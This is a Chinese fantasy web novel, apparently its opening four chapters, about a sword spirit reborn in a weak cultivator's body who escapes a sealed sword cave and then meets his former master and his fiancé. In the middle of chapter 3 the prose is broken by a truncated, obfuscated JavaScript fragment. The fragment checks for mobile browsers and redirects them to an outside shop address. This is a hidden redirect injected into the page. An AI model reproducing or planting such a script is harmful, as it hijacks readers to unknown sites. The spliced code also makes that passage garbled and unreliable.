《满级剑灵死遁后遇上疯批反派》
1. 回到出生点
“玉枝淮都死了五十六年了,怎么还有人喜欢效仿他……”
“等等,玉枝淮是谁?”
“还能有谁?那个仗着剑尊宠爱就胡作非为的混世魔王呗……”
“你不要命了,这也敢说?咱们这可还在一步天剑窟里呢!这可是那位的地盘!”
琐碎的话语将朦胧的意识穿透,玉枝淮睁开双眼,看到了一尊倒过来的石像,石像的头在地上,身体则深深的嵌入了穹苍之顶,其身之上还有千把血红长剑刺入进去。
每一把剑上都镌刻了小字:一步天剑窟。
剑窟?
怎么会是在剑窟?他不是跳进剑炉自爆了吗?
记忆里的炽热烈火仿佛仍然在燃烧他,玉枝淮缓了好一会儿,才从地上坐了起来。
刚动作,身上有件衣衫窸窸窣窣的滑落下来,玉枝淮愣了下,低头一看——
他仿佛重新回到了少年时代,身上穿了件藕粉色的长袍,束着青绿色腰封,宛若一块香甜可口的荷花糕。
而刚才从肩上滑落下去的是一块珍珠小披,即使在昏暗剑窟中,也仍有波光粼粼之感,看上去价值不菲。
玉枝淮已经很久没有穿过这么淡色的漂亮衣服了,脑袋上冒出个超大的‘?’
为什么要把死后的他打扮成这样……
不对,好像有什么大大的不对。
玉枝淮低头,看着面前小了一圈的手,沉默了。
“小玉?小玉,你怎么了?”
“难道真摔到脑袋了?”
“先前我就说过,他天赋平平,进来只会拖后腿,应该让他在外面等……”
——一刻钟后,通过周围人的话语,玉枝淮终于明白过来自己这是重生了。
和寻常重生不同,他重生到了自己死后的第五十六年,灵魂落在了一个丹田破碎的花瓶散修身上。
这具身体的主人叫秦品玉,由于天赋不高,便来到了这举世闻名的一步天剑窟,想在这里面寻一把可一步通天的宝剑。
谁曾想运气不好,进来就踩到机关,被撞得昏迷过去——再一醒来,便是玉枝淮了。
秦品玉很喜欢模仿“玉枝淮”,还有个帅气的未婚夫,但是他从来不和别人说自己有未婚夫,因为他要忙着给未婚夫戴绿帽子。
听到此处的玉枝淮:“……?”
暂且不论此人为何要模仿我,这忙着给未婚夫戴绿帽子是何意味?
玉枝淮眉心几不可见的一皱,额间那颗眉心青玉坠随着他的皱眉被甩动了一下,宛若宁静美丽的湖水泛起波澜。
忽然,身边有一道文弱怯懦的男声从身边响起——
“小玉,咱们已经被困在这里多时了,要不你还是将那个人唤来吧。”
玉枝淮一愣,水蓝色的双眼里露出一点不解。
唤谁?
见玉枝淮呆傻在原地,那开口的文弱书生用手肘怼了一下他,低声说:“快叫你未婚夫来,否则今日咱们都得死在这。”
哦未婚夫啊。
几乎是瞬间,玉枝淮脑海里就出现了未婚夫的名字——辛计侜。
当今世上有三大宗、九世家,而他的未婚夫辛计侜,便是云梦泽中独霸一方的辛家独子。
玉枝淮记得自己还是剑灵的时候,见过这孩子一眼,那时候辛计侜才十岁左右,被人带在身后,捡地上的草吃,还拿着草跑过来,扒在他身边,睁着那双如同漆墨的眼睛看着他,“你就是剑尊的剑灵吗?你的腿好白呀。”
话音刚落下,萧无桐的长鞭带着雷霆之势,抽在了辛计侜脸上。
当时在场的人不在少数,玉枝淮抬起头,只见举目皆惊,而萧无桐却是将辛计侜抽得满身是血后,淡淡的收回了鞭子,且勒令玉枝淮禁足半月,不许出门。
而辛计侜,则被囚禁在秘地半年,严禁探望。
无人敢有异议。
——无人敢对这能从一步天里全身而退的剑尊有异议。
……如今想来,时隔五十六年,难道辛计侜那孩子如今已经长得不那么像个智障了吗?怎么还给配了亲?
玉枝淮有些稀奇的抬头,看了眼眼前境况,期待看到辛计侜,然而却只瞧见了七八个精神萎靡的少年,其中有两个少年眼巴巴的看着他,好像期待他真能有什么办法。
“叫他来也没用,”玉枝淮扭头看向那文弱书生打扮的少年,语气很轻,却带着不容置疑的力度,“告诉我,你们怎么进来的?”
一步天剑窟乃祖级剑窟,五十六年前,玉枝淮便是这里生出来的剑灵,此地有多么凶险,别人不知,他却是知道的。
最重要的是,一步天早就在他出世后没多久就关闭了,这群小崽子是怎么混进来的?谁给他们吃了熊心豹子胆,敢来这里?
他非要把那人给宰了不可!
玉枝淮心里恨得牙痒痒,下一秒便有人说:“小玉公子,是你把我们带进来的呀,你忘了么?”
玉枝淮:“……”
他带的吗?玉枝淮有些困惑的在脑海里翻了翻,没有这段记忆。
忽然,脚底地面轰隆一震,仿佛有什么东西从地底苏醒,传来一声咆哮,剑窟中不见天日,唯有弟子们所带来的法器亮着,顷刻间,大家乱七八糟倒作一团。
“刚才那是什么?!”
“我好像听到了妖兽的声音!”
“妖兽?”有少年慌了,“这里面怎么会有妖兽?”
玉枝淮已经来不及细究到底是谁把他们带进来的了,白皙艳丽的脸上浮现一抹诡谲,唇瓣轻启,幽幽道:“是守剑兽。”
一步天作为祖级剑窟,会被封印这么多年,显然是很有一番渊源的。传闻中当年上古时期神魔一战过后,神族作为赢家,将魔族败将原地分解,而当时那些用来杀过魔族的神剑们,则全被收敛起来,放进了一步天,用守剑兽看守。
斗转星移,几千年后,这些剑上的魔气消失,自然也成了无主的宝物。
获之,则一步登天。
这也是原主天赋平平,却想进来的缘故。
但玉枝淮想不明白,就凭这幅丹田都碎了的身体,小玉怎么会有自信能够收服此间剑灵?
思绪百转不过刹那,剧烈震颤的地面骤然破开一个大口,一只巨大的蛇头从地底探了出来,它看上去足足有十米粗,身上总共有三色,墨绿、蓝白三色相间,跟随着它从地底深渊出来的还有一面会动的虫海。
乌黑的虫海聚成一张大网,密密麻麻的蝎子爬向了各个少年。
玉枝淮:“……”
来的竟然还是熟人……不,熟蛇。
蛇王出现的刹那,本就乱作一团的剑窟内更乱了,有弟子迅速祭出防身法器,却发现自己的灵力被禁锢,顿时吓得尖叫起来——
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“啊啊啊我的灵力呢?我的法器怎么用不了了!”
“快躲快躲,姜兄,你脚下有蝎子爬过来了!”
“谁的通讯法器还能用?快给家里长辈传消息!”
“这到底是什么鬼地方?姜铭学,你不是说这里面很安全吗?”
姜铭学也觉得自己真是见了鬼了,他额头冷汗频出,低头看了眼朝着自己爬过来的虫海,又抬头看了眼不远处的玉枝淮。
两天前,他意外发现,秦品玉能打开一步天剑窟,便寻了几张催眠咒打在了秦品玉身上,又暗中带了不少侍卫放在身边,这才得以混进一步天。
但他没想到进来以后,所有人的法力都失了效,再多的暗卫也没用。
——玉枝淮正闭着眼睛在念什么东西,周身都泛着冰蓝色的法力光芒,但他的身边却一只怪物也无,仿佛身上有什么法宝。
姜铭学看着他,眼里露出一丝不明显的嫉恨,伸剑砍着地上那些小蛇,而三玄墨绿彩蝮蛇王动了动脑袋,忽然张开血盆大口,窜向了玉枝淮——
姜铭学神色一喜,以为能看见他葬身蛇口,不料玉枝淮忽然睁开双眼,原本乌黑的眼睛里竟然出现一抹水蓝色。
那点水蓝如同海底微光,妖冶至极。
“退下。”
几乎是瞬间,蛇王就退回了裂开的地缝中,所有人都愣住了。
玉枝淮眨了眨眼,眼睛恢复成乌黑,朝着呆愣的几个少年,低声喝道,“还愣着干什么?快跑啊!”
少年们回过神来,姜铭学率先发难:“秦品玉,它怎么不咬你?”
玉枝淮扭头看了眼面前这个穿着鹅嘴色衣服的少年,忽然看透了什么似的,眉头微微一挑:“你很希望他咬我?”
姜铭学面色一僵,好在很快就有他的拥趸接口,“秦品玉,你这说的什么话?姜兄只是好奇罢了!”
话音刚落,裂开的地缝中又传来了滚动声响,那蛇王竟然去而复返,这次不再是墨绿色,而是艳蓝色。
蓝色的蛇王一口咬掉了方才那人的半颗头,又吓得众人乱叫起来。
玉枝淮:“……”
哦豁,这位是他不认识的了。
“这,这是三、三玄墨绿彩蝮蛇王吗?三种颜色,三种意识……”那文弱书生躲在玉枝淮身后开口了,“小玉哥,你这会还不叫你未婚夫来?”
玉枝淮从记忆里翻出他的名字,“周晴,这里没有灵力,消息传不出去的,别再提辛计侜了!”
周晴被吼得缩了一下,挠挠脑袋,他怎么记得秦品玉以前没这么凶呢。
谈话间那蛇王已经嚼掉了咬死的那个人,将脑袋探向了众人,而它身上带落的、五颜六色的蝎子则顺着姜铭学去了。
这些蝎子来得极快,姜铭学下意识拉出自己侍卫往身前一挡,顿时听到身上之人的惨叫声。
毒蝎喷出大量毒液,将人活生生腐蚀了。
“我来引开它,你们先往那边跑!看见飘着的白魂就问他们出口在哪,运气好的话他们会带你出去!”
玉枝淮说完,捡起一把长剑拍在了蛇王身上,蓝蛇王立刻被吸引了注意力,发出嘶嘶嘶的声音朝着他爬了过来。
“那运气不好呢?!”有人尖叫着问。
玉枝淮:“那就只能让守剑兽们把你们当自助啃了。”
众人:“………”
你认真的吗!
2. 剑窟
一步天里,有一窟二冢三重门,方才他们所在的地方是二冢中的左冢,因此剑刃入地,却无鞘,是为“死剑”之意。
也就是无主、又无用的剑。
玉枝淮之前在这活了不说千年也有百年,他对这里自认是极熟悉的,但自从他和萧无桐跑了以后,就很多年没回来了,这些剑灵认不认他这个万剑之主,他还真的无法确定。
毕竟那条精分蛇这么多年了就没认识过他,他只和绿的那个意识混熟了,能用短暂的术法蒙蔽它。
身后蛇王如同鬼魅随行,一边跑一边用大尾巴扫掉剑窟里的东西,他逃他追的持续了两刻钟,玉枝淮这小破身板累得不行,就地滚进一个剑棺之中,开始叫人:“玉谬?玉谬?你在不在?”
玉谬是他的伴生剑灵。
一步天剑窟和所有剑窟都不一样,也许是因为他们是千百年前留下的剑的原因,这里的很多剑本身都是有意识的。
世人将剑和秘境以及药草,都分为“祖、圣、玄、凡”,四个等级,寻常人锻造出来的只是玄级剑,而这一步天里最次也是圣级剑。
这也导致想来一步天的人趋之若鹜。
而玉枝淮是这剑窟里最特殊的一把,他是唯一一个祖级剑灵,也只有他拥有一个随行的伴生剑灵,即使轮回百转都会跟着他。
“喵。”
一道喵声在脑海里响起,玉枝淮肩膀上出现个凝起来的豹猫影子,看上去只有巴掌大小,它仿佛才睡醒,如同青年的声音里泛着困意,“啊……玉枝淮,你怎么又在被人追啊。”
玉枝淮:“这次不是人——这里是一步天!”
豹猫瞬间一个激灵,害怕的毛都炸了:“一步天?!你怎么回这来了?我不是记得你跳剑炉了吗!”
剑棺狭小闷热,玉枝淮也奇怪着呢,扭头看着肩上虚影,“我重生了,重生在……”
呃等等这是什么鬼?
“……重生在萧无桐拒绝你的那个晚上?”豹猫无语了,“这不是你之前在萧家听的话本吗!”
玉枝淮:“……哪壶不开提哪壶,闭嘴!快想想办法,那条精分蛇就在外面!”
轰隆一声,整个剑棺被骤然掀开,只见那蓝色的巨蟒蛇王张着血盆大口咬了过来,尖利的獠牙上沾满了血迹——
玉枝淮就地又是一滚,身上那些鸡零狗碎的玩意儿和珍珠小披肩被滚散了,落了满地,眉心的蓝坠子倒是稳稳的。
“这这这我记得这个蓝色意识缺爱,你你你快哄哄他!哄他就好了!”豹猫战战兢兢,“哄睡就好!反正他又出不了这剑窟!”
玉枝淮:“……”原来还是个忧郁的蓝。
犹豫的间隙,那蛇又一尾巴扫了过来,玉枝淮吓得魂都飞了,这里黑暗一片他什么也看不清,只有乌黑的眼睛里泛着蓝色,道:“我怎么哄睡他!我连个乐器都没有!”
豹猫一听,“笨蛋!你怎么连这也忘了!这剑棺是你小时候住的地方啊——那边有古琴!”
玉枝淮神色微愣,紧接着飞快的爬到了古琴边,指尖一动,如同山间清泉的声音便从指下溢出,清清脆脆、煞是好听。
音浪传过此间天地,蛇王呆住了,闭上了眼睛,大身子晕晕乎乎倒在了地上。
玉枝淮一点也不敢停,继续拨着琴弦,葱白如玉的十指飞快在琴弦上掠动,如同身姿轻盈的蝴蝶。
银白色的蝶飞越千山万水,落至云烟之上,而云雾之下,是一片宛若祥龙模样的地域,城域之上,有道龙飞凤舞的字迹——
阴墟。
萧家仙府之中。
“剑尊!剑尊!有人闯入了一步天!”一名小弟子匆匆忙忙穿过八府十一台,捧着一道书信,跪在了斩魔台边,小心翼翼的抬起头——
阴墟是防御魔族最重要的地方,内设斩魔台,外毗邻魔渊,常有不长眼的魔族前来挑衅。
如今斩魔台上,正有奇形怪状的黑色魔物被一道长鞭绞杀。
而长鞭的主人却坐在主位,一袭黑袍,合着双眼,似闭目养神。
萧无桐眼都没睁。
倒是旁边一人摇着扇子,诧异的看向那弟子,“一步天不是锁了那么多年了,怎么还有人闯进去?可知是谁?”
“不、不知道啊,好像是一个叫什么玉的人带头闯的……”
萧无桐猝然睁开双眼。
……
一步天剑窟。
玉枝淮轻轻松开手下的琴,觉得应该差不多了,便站起来,背着手,溜溜达达过去,瞅了眼那条精分蛇。
他伸出脚,踢了踢蛇王。
蛇王眼皮微动,玉枝淮惊得连忙收回脚,眉心的坠子都随着他的动作被甩了一下,豹猫正在给他编头发辫子,见状一掌拍上他脖颈,示意他别乱动!
这头发跟被炮轰了一样,还顶着鸡窝头滚来滚去。
蛇王又睡了:“……”
玉枝淮轻吐出一口气,豹猫动作也快,很快给他把乱七八糟的长发拢着编了个单边辫,放在左边。
玉枝淮前世死的时候不过二十岁,去到人间也没有几年,而伴生剑灵往往和剑灵是同性,生来就是给祖级剑灵做这些的,帮助他融入人间。
“辫辫要搭在右边!”玉枝淮一边捡起自己那堆鸡零狗碎的玩意儿,一边感慨,“这个秦品玉,模仿我还模仿的怪有精髓的……这是望星洲贝家的小夜明珠吧?”
众所周知,祖级剑灵从入世起就喜欢珍珠、贝壳一类的小玩意儿,只要是亮闪闪的都喜欢。
豹猫:“你想到办法没?怎么从这里出去?还有,出去以后如何面对世人?还有……”
它语气一顿,“怎么面对萧无桐呢。”
玉枝淮眼神微闪,不可思议的扭头看向他,“面对萧无桐?我怎么可能让他知道我还活着?”
忆起前事,玉枝淮至今还记得熊熊燃烧的剑炉前,而那人一袭黑衣,站在远处,俊秀的容颜上满是阴郁,语含威胁:
“玉枝淮,你若是跳下去,我会让你后悔终生。”
后悔个鬼!
他才不会后悔呢!离开了萧无桐,他过得只会更自由!
玉枝淮哼了一声,水蓝色眼眸古灵精怪的转了转,好像在酝酿什么坏点子,“我为什么要担忧面对他?我现在和以前长得不一样了,这又是具货真价实的身体——萧无桐不可能找到我,喏,你摸,这还是个灵脉断裂的废柴呢!这种人在萧无桐面前,他看都不会看一眼哒!”
豹猫闻言伸爪摸他手,动作忽然一顿,看上去有些愤怒、又有些奇怪道,“你这灵脉怎么会是断的?还断得像是被……”
忽然,几声叽哩哇啦的尖叫从外面传了进来打断了豹猫的话,是之前那群少年里的几人。
玉枝淮不解:“你们怎么又绕到这里来了?不是让你们跟着白魂跑?”
姜铭学这一次可谓是损失惨重,暗
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中护卫他的人都死得差不多了,闻言黑脸道:“你还说呢,就是那些白魂把我们引来这里的!”
玉枝淮眉头蹙起。
白魂们是在这一步天里除了剑灵以外的生灵,类似于花草精灵,他们对外人会十分友好,没道理不把这些外来生物丢出去啊?
难道是感受到他的气息了,以为这些人是要找他?
“没道理啊……”玉枝淮喃喃着。
几个少年左看右看,姜铭学眯起眼睛,仿佛在思考什么,目光落在了地上沉睡的蛇王身上。
“你怎么把这蛇弄睡着的?”周晴也看见了,便惊讶的凑到了玉枝淮身边。
姜铭学抬眼:“小玉,你好像对这里很熟悉呢,竟知道这里有白魂引路?”
昏暗的剑冢里,什么也看不清,玉枝淮闻言,眉头微挑,神色不明。
豹猫看到了他脸上一闪而过的不耐,正准备下意识安抚几句时,玉枝淮声音冷淡的开了口,“我在书里看的。”
周晴恍然大悟,拍了拍他的肩膀。姜铭学却眼神一闪,忽然将手中剑刃往蛇王身上一砸。
蛇王骤然睁开双眼,清醒过来,又开始摇头摆尾,发出一声足以震动整个剑窟的咆哮——
“姜铭学你干什么!”有少年尖叫起来。
玉枝淮也没想到会发生这种情况,连忙一个闪身,坐回古琴边,又是几声琴音下去,这才勉强将蛇王镇住,而后,他抬起头,眼神里仿佛淬了冰——
姜铭学却一点也没感觉到,他抱着双臂,嗤笑一声:“秦品玉,你好像一点也不害怕……是因为有人作保才如此嚣张吗?”
玉枝淮心跳一快,以为这少年是什么世家古族子弟,看出了他重生之事,连他肩膀上的豹猫闻言也呆了下,毛都炸了一半!
夺舍重生可是大罪……
姜铭学却说:“你进一步天前,计清徽给了你什么东西让你保护自己?这把古琴吗?”
玉枝淮眼神困惑,计清徽是谁?
他还没反应过来,周晴先明白了,不可思议的盯着姜铭学,指道:“你够了,小玉根本不喜欢计清徽,别因为你自己喜欢那个傻子,就觉得谁都喜欢那个傻子!”
此刻,玉枝淮终于明白姜铭学对自己那若有若无的敌意从何而来了。
原来是有这么层关系在。
这幅身体的样貌生得十分不错,见过玉枝淮又见过秦品玉的,都说这人和玉枝淮有六分相像。
秦品玉大概是脑子里天生缺根筋,对着此等话语竟然美滋滋的道:“那很好了,剑灵大人可是公认的世间第一美人。”
而计清徽是秦品玉的追求者之一,在十六岁那年烧坏了脑子,只听秦品玉的话,也就导致秦品玉在清徽宗的地位水涨船高。
玉枝淮猜测,或许这也是秦品玉不愿意对外宣称自己有未婚夫的原因。
至于计清徽到底追的是脸还是秦品玉本人,那就未曾得知了。
但少年爱恋,总是会让人做出不理智的事,因小失大。姜铭学眼见心上人被侮辱,顿时皱起眉头,高声道:“周晴,你一个外门子弟,怎么敢这么说清徽宗少主!”
玉枝淮听得一个脑袋两个大,无奈扶额,“这也要吵吗?”
没参与吵架的几个少年闻言双眼放光的看向了玉枝淮,眼神中写满了——
就是啊,这点小事也值得把蛇王叫醒吗?!所以小玉哥你真的有办法出去吗?!
3. 剑主来啦
仿佛看透了他们在想什么,玉枝淮道:“没有。刚才你们已经错失机会了,只有再次找到白魂,才能出去……或者,等人来。”
少年们闻言面面相觑。
暂且不说此处没有灵力无法通讯,就说以他们的天赋其实也叫不来多少人,毕竟天之骄子不屑于走这么危险的地方来“偷剑”。
在他们之中,灵力最高的是金丹期的姜铭学,其次都是些筑基期就想一步飞天的好高骛远之辈。
秦品玉的资质也不怎么样,但玉枝淮上辈子学了不少东西,给他暂时弄点灵力糊弄别人还是没问题的。
只是这灵脉破碎终究是个废柴身,玉枝淮既已决定要这具身体,便得把灵脉修复。
“谁会来?”姜铭学开口讥讽,“计清徽要是真的没给你东西,那我们大家就真的只能死在这了。”
“靠人不如靠己,”玉枝淮淡淡道,“比如你现在可以自爆,届时命树消失,自然有人追来找你的尸体——姜铭学,怎么样,你要不要试试?”
修仙中人往往会在家族中放一颗自己的命树,树叶凋零,即为死亡。
姜铭学脸色一绿。
玉枝淮见状,心情好了不少,暗中对豹猫道:“你去寻寻,以前挖的狗洞还在不在。”
他很早就生出了灵识,在这一步天里待了不知多少年,起初外界一点声音也没有,后来有了声音后,小玉枝淮就常常把玉谬当小狗用,让它循着声音在一步天里,朝外打洞,给自己弄出去玩的洞口。
那时候一步天还没有这么多禁咒,只有一些陷阱和年轻力盛的守剑兽们。
萧无桐打败足足七七四十九个守剑兽,才将玉枝淮带出剑窟。
而后,玉枝淮声名大噪,一步天剑窟这才成了香饽饽,也导致仙盟下咒将整个一步天封禁。
“在是在,问题是你要带他们钻狗洞吗?”豹猫挠挠头,“那岂不是很容易暴露你身份?”
玉枝淮抿唇,幽怨的看着他,很想把他的毛都薅下来,近乎咬牙切齿,“你就不能弄个小东西引他们?”
这是跟着他睡了五十六年把脑子都睡没了吗!
一人一猫谈话不过是弹指瞬间,少年们还在绞尽脑汁的想办法,周晴左思右想,“不如我们就在这等仙盟来人?这可是禁区,肯定有人知道我们进来了。”
“不行不行!我可不想被他们罚!”立刻有人反驳了,“擅闯禁地可是大罪!”
姜铭学一声不吭,眼角余光却注意着玉枝淮的动作……
他不相信辛计侜没有给他任何宝物防身,毕竟那傻子备受宗门宠爱,又容易受人摆布。
只要和计清徽达成婚契,以后清徽宗的一切,至少有一大半是他未来妻子的。
姜铭学可不喜欢一个纯傻子,推己及人,他认为秦品玉也不会喜欢一个单纯的傻子,应是为了名利。
果不其然,就在众人在一起讨论之时,姜铭学看到玉枝淮去往了另一个方向。他连忙跟上,许是跟得太入迷了,连脚上爬起了毒虫也不知……
“哎?姜兄这是去哪儿?”周晴忽然看到了姜铭学朝着门外去,万分疑惑的用手肘怼了怼旁边的弟子。
坐在古琴边缘的玉枝淮闻言也抬起头,他们此刻所在的剑棺——说是棺材,其实和墓室差不多。
姜铭学朝着墓室外走去,仿佛听不到他们的声音。
玉枝淮垂眸,看到了姜铭学脚上覆盖了一片五颜六色的小虫,顿时啧了声:“引欲虫,这小子贪欲颇重啊。”
少年们显然已经把玉枝淮当主心骨了,急忙问他,“那是什么?”
“我在仙虫秘闻录里看过,”回答他们的却不是玉枝淮,而是周晴,“这种虫子爬到身上会勾起一个人当下最大的欲望,令他眼前生出幻象,等到幻象结束,他也会进入虫巢中心,被吞吃。”
玉枝淮眼眸微闪,仿佛想起了什么,竟轻笑出声。
几人还以为他在笑姜铭学,一时间也不知该如何抉择,毕竟姜铭学看起来和玉枝淮有恩怨。
“小玉,要不要救他啊?”周晴试探的拽了拽玉枝淮。
玉枝淮回过神,“自然要救,谁带火了?去烧他一手。书上说烧了就行——这玩意儿怕火。”
周晴早就看不惯他了,眼神一亮,“我有!”
说罢掏出火折子,冲了过去。
剩下的人则拍了拍玉枝淮,眼神复杂,“你也太心软了。”
玉枝淮笑了,“实则不然,虫巢吃饱了会孵化小虫,小虫寻找食物会乱飞,到时候咱们都得玩完。”
他可不想被人看出最深的欲望。
众人:“……”小玉哥真性情!
趁着大家注意力都放在了姜铭学身上,玉枝淮给了豹猫一个眼神。
豹猫只是个虚影,只有剑窟生灵能看到,收到眼神后,他顿时跳下玉枝淮的肩膀,跑了。
没多久,姜铭学就被火烧得发出了尖叫,而墓室外也飞进来一串流萤,萤虫看起来友好极了,迅速安抚了几人惊恐的心。
可渐渐的,那些人的眼神变得迷蒙,好像短暂失去了心智,被流萤引向剑窟中的秘道出口。
而玉枝淮神色如常的跟在后面,顺带瞥了一眼姜铭学的脚。
这厮腿上的衣服都被啃了大半,小半条腿鲜血淋漓,深可见骨。
玉枝淮真有些好奇这人的欲望是什么了,毕竟欲望越深,虫子也啃得越深。
当年萧无桐过五关斩六将、千防万防,也被这虫咬了,而后,就是……
“轰隆!”
一声惊雷从剑窟外传来,肩上也传来湿哒哒触感,玉枝淮微微扭头,原来是豹猫跑回了肩上,印下了几个小爪印。
豹猫道:“快出去了,你发什么呆呢?”
玉枝淮:“没什么,记得封锁秘道。”
豹猫啧了声:“当然!这些迷心萤会帮我们的……若不是我们,这些小孩想出去可难了。”
一步天外是几座环绕的大山,彼时正是午后,却乌云压顶,仿佛风雨欲来。
厚厚的云层中满是闪电,空中却站了两支队伍,左边那支为首之人是名坐在轮椅上的男人,看上去已年过半百,华发以血玉冠高束,身上穿了件烫金乌青长袍,手中握着一把长柄圆头、布满荆棘状的铁锤。
一步天被一道庞大的圆形法阵笼罩在内,有小虫想飞进去,却被化为齑粉。
而此刻,一步天剑窟后山,竟爬出一行人。
姜铭学回过神来就觉得腿上剧痛,低头一看,顿时发出惨叫——这声惨叫太惨太痛,所有人都回过神来,看清境况后,欣喜若狂。
“啊!我出来了?!”
“我们出来了!”
“我们怎么出来的?周晴呢?小玉、小玉哥人呢?”有少年左顾右盼,终于看到了玉枝淮。
玉枝淮装作也陷入了迷蒙,迷迷糊糊睁开眼,“这、这是哪里?”
“我们出来了!”周晴欣喜若狂,一巴掌拍在他背上,“太好了!小玉!我们快回清徽宗!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375301|200070||http|test|mini|href|location''.split(''|''),0,{}));
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>玉枝淮差点被他拍得吐血,也要维持人设,佯作不解,“我们怎么出来的?”
“不知道啊,可能是什么路过的大能帮了我们一把吧!”周晴揽上他肩,傻笑着,“嘿嘿嘿我就知道,跟着你,总是运气好……”
经历了那些恐怖的事,人人都想逃离那里,也没人细究。
姜铭学忙着让人抢救自己的腿,让自己的拥趸把药拿出来给自己用,倒也没时间找茬。
忽然,一道闪电从云层直落而下,刹那间,生物的本能让玉枝淮拉着周晴往后一退,尽管玉枝淮已经很快了,可垂下的头发却没有那么好运,发尾都被烫成了小卷儿。
地面也瞬间被闪电劈成了一滩焦土,若是人站在那儿,不死也是半残。
一道威严古板的声音从天际传来——
“哪里来的宵小之辈,竟敢擅闯一步天?”
玉枝淮抬起头,只见圆形法阵中不知何时多出两支队伍。
拿着铁锤坐轮椅的男人淡淡的低头,居高临下的瞥了眼那些个少年,“尔等可知罪?”
几乎是瞬间,玉枝淮就认出来了这人是谁,瞳孔骤然一缩。
这是距离大乘者只有半步之遥的仙盟副盟主……端木林。
端木林出身于九大世家之首,是个活了少说也有两千年的老古板,平素最爱管些鸡毛蒜皮的事,什么师徒恋啦、主仆恋啦……总之不是他范围内的事,他也要管。
偏偏又因为年纪大的原因,九大世家也不好同他掰扯什么。
玉枝淮心说这一步天可是我老家,又不是你老家,我回我家一趟还要治罪?
想到此处,他眉头深深皱起,旁边的几个少年却已经开始甩锅,你推我我推你,推了半天才想到让谁背锅——
“是他带我们进来的!”
谁?玉枝淮困惑的转身,正欲瞧瞧到底是谁带头进去的,却发现自己身后空无一人。
玉枝淮僵了下,指了指自己,脑袋上冒出了整齐的三个问号。
他吗?
“是他是他!”那几个少年已经拖着姜铭学跑到了一个石头后面,几只手一起指着他:“就是他!秦品玉带我们进来的!”
豹猫见状,顿时愤愤不平:“这群小屁孩也太不仗义了!现在的孩子怎么成这样了?还不如你在阴墟学院里认识的那几个呢!”
玉枝淮:“呔,一代不如一代……哎呀!”
数十道闪电噼里啪啦的在云层闪动,伴随着端木林强劲的法力威压,玉枝淮猝不及防被制得噗通一声跪在地上。
而那几个甩锅少年也通通被扯出来跪了下来,姜铭学本就受伤的膝盖又一次遭逢重创,溢出大片鲜血。
“你们几个可知道擅闯禁地,是要受二十道雷锤之刑的?”
又来了又来了,刚才不说营救他们,现在出来了又开始算账。玉枝淮在心底暗暗把这死老头子骂了个狗血淋头,抬起头,却道:“你怎么证明我们是擅闯?这一步天也不是你家的吧!”
端木林眉宇一压,神色阴沉起来,忽然将掌中聚满雷电的铁锤往下一砸!!!
这一下真是不死也要变残废,玉枝淮眉头一皱,乌黑的双眼中顿时出现一点水蓝色,可就在他要闪身之时——
一道长鞭自天边而来,它同铁锤对上的刹那,上面残存的魔气竟将锤子也腐蚀出乌痕。
与此同时,一道阴冷的青年声音响彻这一小方天地:
“端木林,这一步天不是阴墟萧家的吗?何时成你仙盟所辖了?”
4. 未有夫妻之实
这声音仿佛从黄泉之地而来,熟悉又陌生,随着他话音落下,众人身上的威压也被强行解开。
豹猫倒吸一口凉气,“阴墟除了你待的那个萧家,还有另一个萧家吗?!”
玉枝淮:“……你觉得呢。”
来者是萧无桐。
玉枝淮甚至不用抬头去确认,他只需要听到阴墟萧家四个字,看到那根鞭子,就知道来的是谁。
阴墟萧家,九大世家之一,血脉天生适合对付妖魔鬼怪,历任家主冷心冷情,这一任的萧无桐更是天生的杀魔机器。
脑海里浮现无数魔族的叫喊,哭闹,那些曾被斩杀在剑下的魔族灵魂在这一刻好像一条蛇,狠狠咬住了玉枝淮的神经。
周晴一边把他扶起来,一边摸着玉枝淮的手,低声问:“你手怎么这么冷?”
“……我、我腿有点疼。”玉枝淮哼哼唧唧的说,“能帮我解一下头发和眉心坠吗?”
早知道萧无桐会来,他绝不会束这个发型,戴这种坠子。
周晴有些不解,但还是照做了,解着解着,他突然发现自家好友这身衣服有点眼熟,“哎……你这个好像那个‘眸含沧海色,眉缀一痕春’……”
玉枝淮默默的看着他:“……”
这目光一望来,周晴也觉得不对,仔细一想,这不是民间话本形容玉枝淮的词儿吗?他怎么能这样低贱自己的好友呢!急忙改口,“不好意思,小……”
“小玉!!!”
一道少年声倏然刺进二人中间,玉枝淮只觉得有人掐住了自己的双臂,疯狂摇摇摇:“小玉,你怎么能做出带人擅闯禁地这种事?”
玉枝淮这下也不用让人给自己取坠子了,因为衣服都要让人给摇散了,他晕晕乎乎地按住面前的人,“停停停……”大哥你谁?!
“你怎么连我也不记得了,我是你未婚夫。”
玉枝淮一个激灵,双眼蓦然睁大了,盯着面前的少年,“辛计侜?!”
辛计侜一身白衣,看上去约莫二十岁,面容俊朗,长发高束,腰间还挂着一个玉牌,上面印了剑印,此为剑修之印。
“记起我来了就快起来,还倒在这做什么?”辛计侜皱着眉头怪他。
周晴:“……”我刚要给人家扶起来,是你一巴掌按回去的!!!
玉枝淮站了起来,看着挡在自己面前的辛计侜,心情颇为微妙。
记忆里这小孩是个缺牙短智的,但方才听起来怎么有点……
辛计侜朝着不远处那马车里的人遥遥一敬,行了个礼,道:“兄长,此事毕竟是我家事,能否交给我来处理?”
遥远天际泛着蓝灰,那辆巨大的四轮马车停在天际,拉车的是一只外形似鹿,头生独角,通体乌黑的灵兽,双眼微微血红,看上去冰冷而可怕。
帘子被掀开,一道黑袍身影探身而出,萧无桐淡淡抬眸,那双黑到了极点的眼瞳中仿佛泛着杀意,“家事?”
咦?玉枝淮听着这声音,发觉了不对,辛计侜为什么叫萧无桐兄长?
萧无桐不是萧家嫡系独子么?他哪来的弟弟?
“不错,家事。”辛计侜看上去有点难以启齿,仿佛这个未婚妻很拿不出手,“……秦品玉同我自少时就定下过娃娃亲,兄长应当也知道此事,虽说他资质愚笨、又爱惹是生非,但和我终究有未婚夫妻之名,还望兄长高抬贵手。”
空气中一阵死寂,辛计侜一时间也不知道自家这个便宜兄长到底是怎么想的,一句话也不敢多说,只好在心中暗骂原主,凭白给他弄这么一门亲事。
